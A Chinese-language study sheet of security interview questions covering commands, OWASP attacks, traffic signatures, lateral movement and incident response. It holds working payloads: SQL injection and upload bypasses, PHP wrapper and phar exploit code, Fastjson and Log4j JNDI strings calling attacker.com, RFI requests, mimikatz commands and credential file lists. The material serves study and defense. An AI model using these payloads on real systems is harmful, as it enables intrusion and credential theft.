hw八股准备
一.基础命令
1.1操作系统命令
①linux添加新用户:useradd xxx
win添加新用户:net user tom 123456/add
②linx中给tom修改密码:passwd tom
win给tom修改密码:net user tom 123456
③Windows和linux分别如何查看计算机上有哪些用户:
win:net user(不能查看隐藏用户),sam注册表查看所有用户
linux:cat /etc/passwd 或 cat /etc/shadow
④windows和linux分别如何查看计算机的ip:
win:ipconfig
linux:ifconfig
⑤如何查看占用内存最高的程序pid
win:任务管理器
linux:top
⑥管道符与重定向符
管道符:前面命令的输出作为后面命令的输入
重定向符:
>:输出重定向,将输出的结果重定向覆盖给一个文件或设备; ls > list.txt
<:输入重定向,从文件或设备中获取输入的内容 ;cat < pass.txt
>>:追加重定向,将输出的结果重定向追加给一个文件或设备
echo "hello" >> a.txt echo "world" >> a.txt ;内容变成hello 和 world
⑦Linux密码文件在哪放
/etc/shadow ;注:/etc/passwd存放的是用户信息,shadow存放密码
⑧查看linux的内核版本:uname -a
⑨Linux文件权限有哪些,如何修改文件权限:r读取,w修改,x执行;chmod命令可以修改权限
⑩755有哪些权限,有什么参数?(不熟悉)
755表示该文件所有者对该文件具有读、写、执行权限,
该文件所有者所在组用户及其他用户对该文件具有读和执行权限
⑩①linux中8080端口被占用,怎么找出是谁占用的
netstat -anp | grep 8080 ; a表示所有,n以数字形式呈现,p是端口
ps aux | grep pid ; ps aux是显示所有进程
⑩②使用python命令起了一个后台程序,如何找到它的pid
ps aux | grep python
⑩③linux怎么查看文件内容:cat,tac,more,less,vi
⑩④linux查看磁盘使用情况:df -h 或者 du -h ;d是disk,f是free,u是usage
⑩⑤Windows和linux分别如何查看进程信息:
win:tasklist(任务管理器也可以),linux:ps
⑩⑥Windows和linux分别如何查看结束进程
win:taskkill,linux:kill
⑩⑦windows中getshell出现乱码怎么办
设置cmd的编码,chcp 65001设置成英文即可
⑩⑧windows如何设置定时任务:Schtasks
d 删除 dd 删除整行 ndd 删除n行
x 删除一个字符
u 撤销上一次操作
ctrl+R 反撤销(撤销撤销操作)
y复制 (复制到寄存器)
p粘贴 (默认从寄存器取出)
⑩⑨Vim编辑器有几种模式
分别是命令模式(Command mode),输入模式(Insert mode)和底线(末线)命令模式(Last line mode)
②⑩查看端口连接情况用什么命令:netstat -ano(win命令);netstat:network statistics,a:all,o:owner,linux是p
②⑩①Windows cmd 如何下载文件
1.certutil.exe
2.curl
3.powershell
4.bitsadmin
5.vbs
6.ftp
2.2计算机网络
①常见服务的端口:
FTP 21端口
SSH 22端口
Telnet 23端口
SMTP 25端口;
DNS 53端口;
dhcp 68 67
HTTP 80端口 HTTPS 443
POP3 110端口
RPC 135端口
SMB 139/445端口
MySql数据库3306
Oracle数据库 1521
Sql Server(MSSQL)数据库 1433
PostgreSQL(PGSQL)数据库 5432;
Redis数据库 6379
MongoDB数据库 27017
weblogic 7001
RDP(Remote Desktop Protocol 远程桌面服务/远程登录) 3389端口
Apache,Nginx/Tomcat 80/8080端口
1.3状态码
100 Continue 客户端应继续其请求
200 OK
301 永久跳转 缓存到浏览器
302 临时跳转 不缓存到浏览器 请求服务器
400 错误请求
401 未授权
403 网站没有首页,deny,权限不够↓(没权限)Permission denied 权限拒绝
404 这个文件找不到 路径写错
500 代服务器内部出错
502 网关错误
二.Top10
2.1sql注入
1.sql注入是什么?
攻击者通过在输入字段或请求中注入恶意的 SQL 语句,改变原语句的语法结构,实现对数据库的恶意操作。
2.sql注入的流程
判断是否存在注入,可使用万能语句判断其是字符型还是数字型以及闭合方式
猜测查询的字段数
查询数据库名
查询表名
查询字段名
查询数据
3.sql注入有哪些注入类型?
字符和数字型,细分可为:报错注入,时间注入,布尔注入,宽字节注入
4.sql注入比较了解那个数据库?
MySQL数据库,5.0之后information-sechma,存着所有的库名和表名,可以利用此特性可以进行注入
5.sql注入绕过方法
1.大小写绕过
2.双写绕过
3.等价函数绕过---sleep() ->benchmark() ,concat_ws()->group_concat() ,mid()、substr() -> substring()
4.or and xor not --- and=&&,or=||,xor=|,not=!
5.绕过空格 ---注释符/* */,%a0
6.盲注了解什么?
布尔型盲注:一步步进行猜库名表名,常用函数length(),ascii() ,substr()
时间型盲注:sleep(),猜对了会有延迟,没猜对直接返回,没有延时,通过有无延时来猜数据,常用函数if(),sleep(),benchmark()
7.宽字节是怎么注入的?怎么判断是不是gbk编码?
条件:数据库连接编码为 GBK,对用户输入做了转义(加一个反斜杠),比如 addslashes() 或开启了 magic_quotes_gpc
攻击:GBK 编码中,一个汉字由两个字节组成,当攻击者提交 %df'(URL 编码,解码后是字节 0xdf 和一个单引号 '),经过 addslashes() 后会变成:0xdf 0x5c 0x27(0xdf \ '),这里0xdf和0x5c被gbk解码成一个汉字“運”,后面的 0x27 就变成了一个孤立的单引号,单引号逃逸出来就完成了绕过
判定gbk编码:输入test%df%5c,如果页面显示 test運(或一个乱码汉字),说明服务器以 GBK 解析了 %df%5c,即采用了 GBK 多字节编码。
8.GBK和utf-8的区别
GBK是中文编码字符集,是GB2312的升级版,主要是为了存储中文字符,存储单个中文和英文字母,都是固定的2个字节长度
utf-8他是一种全球通用的字符集,可变长度,长度在1-4个字符,英文字母一个字节存储,中文是三个字节存储,支持所有国家的语言,市面上utf-8编码的项目居多
9.sql注入报错注入常用函数
updatexml(),floor(),extractvalue()
10.sqlmap写webshell需要具备什么前提条件
1、root权限;
2、知道web目录;
3、secure_file_priv配置为空
11.报错注入
?id=1' and updatexml(1,concat(0x7e,version()),3) --+
0x7e 等价于 ~,1 - 第一个参数,表示XML文档,3 - 表示XPath表达式,第一个参数和第三个参数都可以随便填,只要能触发报错
updatexml使用 XPath 表达式解析 XML,如果 XPath 语法错误,会返回错误信息(可用于数据泄露)。
12.如何防御SQL注入攻击?
使用正则或其它方式过滤用户输入的参数,过滤敏感关键字
使用预编译处理SQL语句
过滤转义单双引号等特殊符号
防火墙waf
2.2xss
1.xss原理
攻击者将恶意脚本注入到目标网站中,当其他用户访问含有该恶意脚本的页面时,浏览器会将其作为正常页面脚本执行,从而达到窃取用户数据、劫持会话等目的。
2.xss的分类
反射性、存储型、DOM型---有输入,带参数、登录、留言的、更新、地方输出的地方
3.xss防范
进行html实体编码,使用 HttpOnly Cookie防止javascript操作cookie
4.xss绕过
大小写绕过
双写绕过
事件绕过
注释干扰绕过
伪协议绕过
编码绕过 --- base64,js编码,Unicode,16进制,HTML实体编码,URL编码
img a script标签绕过
5.三种xss区别
反射性和存储型与服务器交互,dom型只涉及到前端
6.XSS除了获取cookies还能做什么?
1.获取管理员ip
2.xss蠕虫钓鱼攻击
3.前端JS挖矿
4.键盘记录
5.屏幕截图
2.3文件上传
1.绕过方式
1.前端js绕过:抓包改后缀为php
2.修改MIME为image/jpeg,但文件名仍是php
黑名单php
3.上传php3, .php4, .php5, .php7, .php8,.phtml,phps
4.上传.htaccess,内容为AddType application/x-httpd-php .jpg 再上传一句话木马的jpg文件
5..user.ini(不太熟)
6.大小写绕过php替换成Php
7.文件名后加空格绕过
8.文件名后加点绕过
9.文件后点空格点绕过
10.文件后加::$DATA绕过
11.双写绕过pphphp
白名单
12.%00截断(不太熟)
13.getReailFileType检验文件的前两字节验证,只能上传jpg/png/gif:将php文件改成jpg文件,在010中加入jpg文件的前缀,还要确保一句话木马不会丢失,不需要保证完整的jpg图片结构;但生成的shell.jpg能否被解析关键在于是否交给php解析器解析;可以上传.httaccess将jpg作为php解析
14.isImage通过检验完整文件结构,只能上传jpg/png/gif:copy 1.jpg/b + shell.php shell.jpg
但生成的shell.jpg能否被解析关键在于是否交给php解析器解析;可以上传.httaccess将jpg作为php解析
2.php 的%00截断的原理是什么?

3.条件竞争:时间竞争,重命名竞争
1.时间竞争--- 服务器先先允许你上传文件,然后再检测是否合法,不合法再删除,我们要利用的就是在服务器在检查删除前,访问到我们上传的php。
2.重命名竞争 -- 我们上传的文件到了服务器就会重命名,所以我们就要在文件重命名之前访问到我们上传的PHP
4.文件上传加固方法?
后端限制文件上传白名单
上传后文件随机重命名
图片文件可以二次渲染,使用对象存储 oss
2.4CSRF && SSRF
1.什么是CSRF
CSRF(cross site request Forgery)攻击者诱导已登录用户进行恶意操作,利用浏览器会自动携带 Cookie 的机制,在用户不知情的情况下向目标网站发起“看似合法身份”的请求,从而完成未授权操作。
2.CSRF的预防
1.CSRF token
2.检验referer/Origin
3.浏览器的Samesite cookie策略
3.SSRF形成的原因
SSRF(server side request Forgery)服务器端请求伪造 是指:攻击者诱导服务器去访问本不该访问的内部或外部资源。(能控制服务器请求的URL内容就可能出发ssrf)
4.SSRF绕过
①IP 变形:http://2130706433 (10进制);http://0x7f000001 (16进制)http://0177.0.0.1 (8进制)
②利用 DNS:http://127.0.0.1.xip.io
③IPv6 绕过
④重定向绕过:http://evil.com/302 → http://127.0.0.1
⑤利用句号 127。0。0。1 => 127.0.0.1
5.SSRF预防
①协议白名单:只允许:http / https;禁止:file / gopher / ftp
②IP和端口校验:禁止:127.0.0.1;内网 IP;IPv6 本地地址
③禁止自动重定向:curl 禁用 follow redirect
6.SSRF利用方式
①HTTP / HTTPS:http://127.0.0.1 ; http://localhost
②FILE 协议(读本地文件):file:///etc/passwd;file:///c:/windows/win.ini
③ftp协议:ftp://127.0.0.1
④Gopher 协议(高危)gopher://127.0.0.1:6379/_*1%0d%0a...;攻击 Redis / MySQL / FastCGI / Memcached
gopher://<host>:<port>/_<payload>
7.同源和跨域
同源:协议、域名、端口号相同的网址叫做同源
同源机制:是浏览器的一种安全机制,防止恶意网站非法窃取其他网站的数据,
非同源的网址不能直接交互数据,确切的说是请求可以发出去,但是响应的数据会被浏览器拦截
跨域:不同域名/端口/协议之间的请求被浏览器阻止了,这就是跨域问题。
8.JSONP跨域
利用 js script 标签中 src 属性可以跨域的特性,使用 callback 参数的函数名来接收数据
只支持 GET 请求,不支持 POST 等其它请求,也不支持复杂请求,只支持简单请求
9.CORS跨域
支持所有的请求,包含 GET、POST、OPTOIN、PUT、DELETE 等既支持复杂请求,也支持简单请求
JSONP 与 CORS 的使用目的相同,并且都需要服务端和客户端同时支持,但 CORS 的功能更加强大
10.JSONP和CORS的优缺点
JSONP 的主要优势在于对浏览器的支持较好;虽然目前主流浏览器都支持 CORS,但 IE9 及以下不支持 CORS
JSONP 只能用于获取资源(即只读,类似于 GET 请求);CORS 支持所有类型的 HTTP 请求,功能完善
JSONP 只会发一次请求;而对于复杂请求,CORS 会发两次请求
11.csrf跟ssrf区别
csrf 一是客户端发起,ssrf是从服务端发起的
2.5XXE
1.2.4XXE漏洞的基本原理
攻击者可通过构造恶意XML内容,诱导解析器加载外部xml资源(如本地文件、内网服务),从而实现rce操作
2.XXE防御方法
1.禁止或限制使用外部实体
2.输入过滤:对于XML输入数据进行过滤和验证,不允许包含非法字符或构造恶意实体引用的内容
3.使用安全的XML解析器
2.6文件包含
1.PHP伪协议
php://data
?file=data://text/plain,<?php system('whoami'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+
只需要开启allow_url_include = On
php://filter
?file=php://filter/convert.base64-encode/resource=index.php
返回的是 Base64 编码后的源码
转换类(convert.*)字符串处理类(string.*)
php://filter/read=string.rot13|convert.base64-encode/resource=index.php
先rot13编码,再base64编码
file://
?file=file:///etc/passwd
结合任意文件下载
php://input
POST /vuln.php?file=php://input
POST 数据
<?php system('id'); ?>
phar://
PHP 在解析 phar 文件时,会自动反序列化其 metadata;不需要你代码里写 unserialize();
满足条件:
PHP 代码中有 文件操作函数
file_exists($file);
unlink($file);
fopen($file);
getimagesize($file);
exif_read_data($file);
$file 参数 用户可控
然后构造恶意类,伪装成图片
<?php
class Evil {
public function __destruct() {
system("id");
}
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->stopBuffering();
>?
将此文件上传后,传参
?file=phar://upload/evil.jpg
php://filter 读源码;file:// 读敏感文件;data:// 试 RCE;php://input 试 RCE; phar:// 是否可反序列化
2.防御
1.代码上使用basename函数(从用户输入中提取纯文件名,防止目录遍历攻击)
2.禁止用户控制 include / require
3.文件白名单
4.关闭危险函数(system,exec,shell_exec,passthru,popen,proc_open)
3.LFI与RFL
LFI
GET /index.php?page=../../../../etc/passwd HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
RFI
GET /index.php?page=http://attacker.com/shell.txt HTTP/1.1
若 allow_url_include=On,可能执行远程代码。
4.文件包含和ssrf数据包区别

2.7反序列化
1.JAVA反序列化
Java中的ObjectOutStream 类的writeObject()可以实现序列化,其中用把对象转换为字节流,便于保存或者传输
而ObjectlnputStream类的readObject()方法用于反序列化,作用就是把字节流还原成对象
2.PHP反序列化
序列化
1创建实例 触发 __construct()函数
2.序列化时 触发 __sleep()函数
反序列化
1.__destruct()对象销毁时(脚本结束)调用;%100会调用该函数
2.__wakeup()反序列化时调用
3.__toString()当对象被当作字符串使用时调用;比如echo $a;
4.__call()调用不存在的方法时调用
2.8命令执行漏洞
1.说出几个代码/命令执行常见危险函数
代码执行函数(php):eval(),assert(),call_user_func(),creat_function(),array_map()
命令执行函数(操作系统):system(),passthru(),exec(),shell_exec(),popen()
2.9越权
横向越权:横向越权指的是攻击者尝试访问与他拥有相同权限的用户的资源
纵向越权:纵向越权指的是一个低级别攻击者尝试访问高级别用户的资源
三.流量特征
1.蚁剑/哥斯拉/冰蝎/菜刀流量特征
菜刀:一句话木马,出现eval,assert,默认的webshell中链接密码都是caidao
冰蝎:冰蝎的固定请求头字节特征为: dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,固定的响应头字节特征为: TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
内置了很多的UA头,所以当某一个相同IP重复请求,但是UA头不一样的时候就需要注意了
蚁剑:ua有明显的antsword, 包含@ini_set("display_errors","0");
哥斯拉:请求包的 Cookie 中有一个致命的特征:末尾带有分号 ; 。标准的 HTTP 请求 中最后一个 Cookie 的值不应该包含分号,这一特征可以作为辅助识别哥斯拉流量的重要标志。
2.shiro反序列化漏洞原理?
正常流程:Java对象-->序列化(serialize)-->AES 加密-->Base64 编码-->rememberMe=xxxx(Cookie)
Shiro 服务端处理流程:从浏览器得到Cookie → Base64 解码 → AES 解密 → 反序列化
漏洞核心:攻击者伪造 rememberMe Cookie,Shiro 在解密后对不可信数据进行反序列化,从而触发恶意代码执行。
(补充:不需要事先知道正常java对象具有哪些变量和方法,就可以伪造;反序列化时由“数据流决定要加载什么类”,而不是由服务器代码决定)
你会想没有AES密钥如何构造json字符串呢,因为Shiro 早期版本默认 AES Key 是固定的
反序列化失败标志:Set-Cookie: rememberMe=deleteMe
2.shiro550与shiro721的区别
Shiro-550 是“已知 AES Key 的不安全反序列化”,
Shiro-721 是“即使不知道 AES Key,也可能触发反序列化”的问题。
Shiro-550之后不再使用固定 key,强制用户配置随机 key,捕获反序列化异常,但Shiro 在解密失败时,仍然对“部分数据”进行了反序列化处理。
Shiro 在处理 rememberMe 时:解密失败-->进入异常处理逻辑-->使用 ObjectInputStream 处理异常对象
3.流量特征
Cookie: rememberMe=xxxxxxxx
4.Fastjson反序列化漏洞
Fastjson 反序列化漏洞是由于在解析 JSON 时,攻击者可控地指定反序列化的 Java 类(@type),并触发该类的危险方法,从而导致代码执行或敏感操作。
触发流程:
①攻击者提交 JSON:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com:1099/exp",
"autoCommit": true
}
②Fastjson 解析过程:JSON.parseObject(json);
解析到 @type-->Class.forName("com.sun.rowset.JdbcRowSetImpl")-->newInstance()
-->setDataSourceName()-->setAutoCommit(true
③触发危险行为:JdbcRowSetImpl.setAutoCommit(true) 会connect();
5.fastjsion不出网怎么打
服务器 不能访问外网;DNS / RMI / LDAP 都连不上
①本地命令执行
{
"@type":"java.lang.ProcessBuilder",
"command":["/bin/bash","-c","id"],
"start":true
}
②不出网的「时间盲注」验证
{
"@type":"java.lang.ProcessBuilder",
"command":["/bin/bash","-c","sleep 10"],
"start":true
}
③TemplatesImpl利用链
不需要出网,直接内存加载字节码,执行任意 Java 代码
服务器 不能访问外网;DNS / RMI / LDAP 都连不上
④BECL利用链
⑤C3P0利用链
6.fastjson流量特征
①请求头content-type字段:application/json
②出现@type字段
7.Log4j2命令注入漏洞
log4j 是 javaweb 的日志组件,用来记录 web 日志,其会解析字符串中的 ${} 占位符,并支持通过 jndi: 协议远程加载代码。
攻击者只要在任何会被记录日志的地方输入 ${jndi:ldap:// attacker.com/恶意类}(占位符表达式)
服务器就会解析表达式,通过jndi协议远程连接ldap服务器,从该服务器下载恶意类,从而实现远程代码执行
修复:升级 Log4j 到最新版本,根据业务判断是否关闭 lookup
攻击成功的标志:可以让目标服务器反向连接,当获取到目标服务器shell时,攻击成功。
8.log4j2流量特征
HTTP 请求中出现 jndi字段
9.AWVS流量特征
UA特征明显:常见 Acunetix / WVS
请求包里含有Acunetix-Aspect:等关键字段
10.Nmap流量特征
大量的半连接SYN,ACK请求
11.CS流量特征
Beacon周期性回连:固定时间间隔向C2服务器“心跳通信”
12.用过Nmap扫描工具吗
-sT TCP (全)连接扫描,准确但留下大量日志记录
-sS TCP SYN (半)扫描,速度较快,不会留下日志
-O 查看目标主机系统版本
-sV 探测服务版本
-A 全面扫描
中间件常见漏洞
IIS
1、PUT漏洞
2、短文件名猜解
Apache
1、解析漏洞
2、目录遍历
Nginx
1、文件解析
2、目录遍历
Tomcat
1、远程代码执行
2、war后门文件部署
WebLogic
1、反序列化漏洞
2、war后门文件部署
域&横向
1.域是什么?
域是由网络上的用户和计算机组成的一个逻辑组或逻辑集合。域中所有的对象都存储在活动目录下。一个网络可以建立一个或多个域,每个域都是一个安全界限,这意味着各种权限的设置不能跨越不同的域。简单地说,一个域就是一系列的用户帐户、访问权限和其他各种资源的集合。
在Windows Server2003的每一个域中都至少有一台域控制器(Domain Controller,DC)充当域的管理者
2.域与工作组的区别
在工作组模式的网络中,各服务器都是独立的,而且各服务器中的帐户和资源也是各自进行管理的。所以,管理员需要为每台服务器建立帐户,在管理时也需要分别登录各服务器完成管理工作。授权用户访问不同的服务器时,也需要分别登录。
在域模式的网络中,服务器可以集中进行管理,域中的帐户和资源也是集中管理的。所以,管理员登录到服务器后就可以管理整个域并可以访问所有共享资源
工作组:相当于一个 合租公寓,每个室友自己管自己的房间和财物,串门需要对方单独开门。
域:相当于一家 酒店,前台(域控制器)统一发房卡(域账户),凭一张卡可以进任何你被授权的房间(域内电脑)。
在内网渗透中,域内横向移动是一种常见的攻击手法。攻击者会利用此技术,以被攻陷的系统为跳板,访问域内其他主机,扩大资产(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库,域控制器等其他重要资产)。通过此类攻击技术,攻击者最终很可能获取到域控制器的访问权限,甚至控制整个内网的机器权限。
横向
1.横向移动方式有哪些?
**IPC 横向**
IPC (Internet Process Connection) 共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,使用 139、445 端口。
利用条件:目标机开启了139和445端口;
目标主机管理员开启了ipc$默认共享;
知道目标机的账户密码。
**WMI 横向**
使用 wmic 远程执行命令,在远程系统中启动 Windows Mannagement Instrumentation 服务(目标服务器需要开放 135 端口,wmic 会以管理员权限在远程系统中执行命令)
Windows操作系统默认不会将WMI的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。
利用条件
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。
**smb 横向**
利用 SMB 服务可以通过明文或 hash 传递来远程执行。
利用条件
1、445端口开放
2、知道账号密码
**密码喷洒**
利用MSF进行密码喷洒
PTH - 哈希传递
PTH,即 Pass The Hash,通过找到与账号相关的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。
利用条件
1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
PTK-密钥传递
Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限。
利用条件:
获取用户的aes key
mimikatz sekurlsa::ekeys
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
成功后会返回一个cmd
PTT - 票据传递
利用条件:
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid
kerberoast 攻击
攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
WinRM 横向
WinRM 代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。
利用条件:
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。
2.一台主机在内网进行横向攻击,你应该怎么做?
确定攻击来源,是不是员工内部误操作
如果没有,确定是攻击,找到问题主机,开始应急响应流程
应急响应
1.如果一台服务器被入侵后,你会如何做应急响应?
1立即隔离该服务器,尽可能快地将受影响的服务器与网络隔离
2收集证据,记录所有相关的日志、文件、配置信息和事件
3对收集到的证据进行分析,识别安全漏洞和攻击方式,并根据分析结果采取相应的措施
4及时修复服务器上存在的漏洞
5恢复数据,如果必要,可以通过备份数据来恢复服务器的正常运行状态
6安全加固,在恢复服务器前,必须对服务器进行全面的安全加固,从而提高服务器的安全性和可靠性,防止未来的攻击。
2.Linux入侵排查思路
一账号安全
1、用户信息文件/etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell
注意:无密码只允许本机登陆,远程不允许登陆
2、影子文件/etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
二历史命令
通过 .bash_history 查看帐号执行过的系统命令
1、root的历史命令 histroy
2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令
三检查异常端口
netstat -antlp|more
查看下pid所对应的进程文件路径,
运行ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应的pid 号)
四检查异常进程
ps aux | grep pid
五检查开机启动项
/etc/rc.local
/etc/rc.d/rc[0~6].d
六检查定时任务
crontab -l 列出某个用户cron服务的详细内容
Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的crontab文件
如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件
2、利用anacron实现异步定时任务调度
七检查服务
chkconfig --list 命令,可以查看系统运行的服务
八检查异常文件
九检查系统日志
3.Windows入侵排查思路
1.检查系统账号安全:查看服务器是否有弱口令,lusrmgr.msc命令查看服务器是否存在可疑账号、新增账号,用 D 盾或者注册表中查看服务器是否存在隐藏账号、克隆账号,结合日志,查看管理员登录时间、用户名是否存在异常
2.检查异常端口、进程:netstat -ano检查端口连接情况,是否有远程连接、可疑连接
3.检查启动项、计划任务、服务
4.查找可疑目录及文件
5.日志分析
4.了解过系统加固吗?
windows
修改管理员登陆名,避免被猜到
用户密码需要设置长度和复杂度
设定账户锁定阈值,多次登录错误则锁定账户
共享文件夹授权设置密码且以最合适权限开放给相关用户
安装杀毒软件,还要及时更新病毒库,及时更新操作系统,安装补丁
linux
检查是否存在空口令账号
密码复杂度策略
更改 SSH 默认端口
限制用户使用 su 命令切换 root
禁用 telnet 服务
溯源
1.流量溯源
可利用流量工具 wireshark 进行溯源:
查看 eval、 z0、 shell whoami 等关键字,查看出现次数过多的时候, 需要查看是哪个页面发起的请求,有可能是 webshell
通过 WireShark 工具快速搜索关键字,定位到异常流量包
找出异常 IP 和所上传的内容,查看是否为 webshell
如何定位到攻击IP:
首先通过选择 - 统计 - 对话查看流量的走向情况, 定位可疑的 IP 地址
根据定位到的 IP 地址,尝试对上传的 webshell 进行定位
查找到 webshell 后尝试溯源漏洞位置,定位到最开始 webshell 执行或上传的时候
根据最开始的 HTTP 上传包或者其他漏洞特征定位漏洞类型
2.攻击源捕获
安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
日志与流量分析,异常的通讯流量、攻击源与攻击目标等
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等
蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息
设备
1.waf
WAF(web应用防火墙) 是专门为保护Web应用设计的安全设备/服务,工作在 OSI第七层(应用层),通过深度解析HTTP /HTTPS流量,防御SQL注入、XSS跨站脚本、CSRF等应用层攻击。
WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。
2.防火墙
传统防火墙关注网络层流量控制和传输层(IP/端口),而WAF专注 Web业务逻辑安全,是应对OWASP Top 10威胁的关键防线。
3.蜜罐
欺骗攻击者的诱饵称为“蜜罐”
4.沙箱
沙箱是指一种在安全测试和开发过程中使用的虚拟环境,可以模拟真实的操作系统和应用程序环境,以便进行安全测试、恶意软件分析,同时不会对真实环境造成影响。
5入侵防御系统IPS,入侵检测系统IDS
IDS(入侵检测系统)主要部署在网络层(NIDS)或主机层(HIDS)
网络层比如交换机旁路,主机层部署在每台服务器/终端上
IPS(入侵防御系统)主要部署在网络层(NIPS)或主机层(HIPS)。
网络层比如交换机串联,主机层部署在每台服务器/终端上。
6.安全态势感知平台
安全态势感知平台通过收集分析数据,实时监测并可视化展示安全风险,辅助决策与联动响应,实现全局主动防御。
是一个集检测、可视、响应处置于一体的大数据安全分析平台
内存马
1.Java 内存马排查思路
如果是jsp注⼊,⽇志中排查可疑jsp的访问请求。
如果是代码执⾏漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注⼊时间和⽅法
如果是servlet或者spring的controller类型,根据上报的webshell的url查找⽇志(⽇志可能被关闭,不⼀定有),根据url最早访问时间确定被注⼊时间。
如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者⼤量请求不同url但带有相同的参数,或者页⾯并不存在但返回200
综合随机问题
1.设备误报如何处理?
外网的误报说明安全设备需要进行策略升级
内网的误报可以和负责人协商一下看能不能解决,有必要的话添加白名单处理
2.如何区分扫描流量和手工流量?
扫描流量数据量大,请求流量有规律可循且频率较高,手工流量请求少,间隔略长
使用工具扫描的流量一般在数据包中有相关特征信息
3.网站被上传webshell如何处理?
首先关闭网站,下线服务。有必要的话将服务器断网隔离。
手工结合工具进行检测,工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。
加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁,定期更新组件以及安全防护软件,定期修改密码等等措施。
4.如何检测webshel
静态检测:静态检测通过匹配特征码,特征值,危险函数函数来查找 webshell 的方法,只能查找已知的 webshell
动态检测:webshell 传到服务器了,在执行函数时这些对于系统调用、系统配置、数据库、文件的操作动作都是可以作为判断依据
日志检测:使用 webshell 一般不会在系统日志中留下记录,但是会在网站的 web 日志中留下 webshell 页面的访问数据和数据提交记录
语法检测:语法语义分析形式,是根据 php 语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式
5.怎么发现有没有被攻击
利用设备的告警
网站被攻击:网站被跳转到赌博网站,网站首页被篡改,网站被植入 webshell 脚本木马,网站被 DDOS、CC 压力攻击
服务器被黑:服务器系统中木马病毒,服务器管理员账号密码被改,服务器被攻击者远程控制,服务器的带宽向外发包,服务器被流量攻击
对登录记录、系统日志、web 日志等进行分析
4.给你一个比较大的日志,应该如何分析?
攻击规则匹配通过正则匹配日志中的攻击请求
统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求
白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求
5.如何修改WEB端口?如果不能修改端口还有什么利用方法?
修改 web 端口:修改中间件配置文件中的 web 服务端口即可
不能修改的话可以使用端口映射,使用 nginx 反向代理也可以
6.获得文件读取漏洞,通常会读哪些文件,Linux和windows都谈谈
linux
etc/passwd、etc/shadow直接读密码
etc/hosts # 主机信息
/root/.bashrc # 环境变量
/root/.ssh/id_rsa # 拿私钥直接ssh
数据库 config 文件
windows
C:\boot.ini //查看系统版本
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Windows\php.ini //php 配置信息
7.常见OA系统?
通达OA、泛微OA,致远OA、蓝凌OA、用友OA
8.CS是什么东西,知道怎么使用吗?
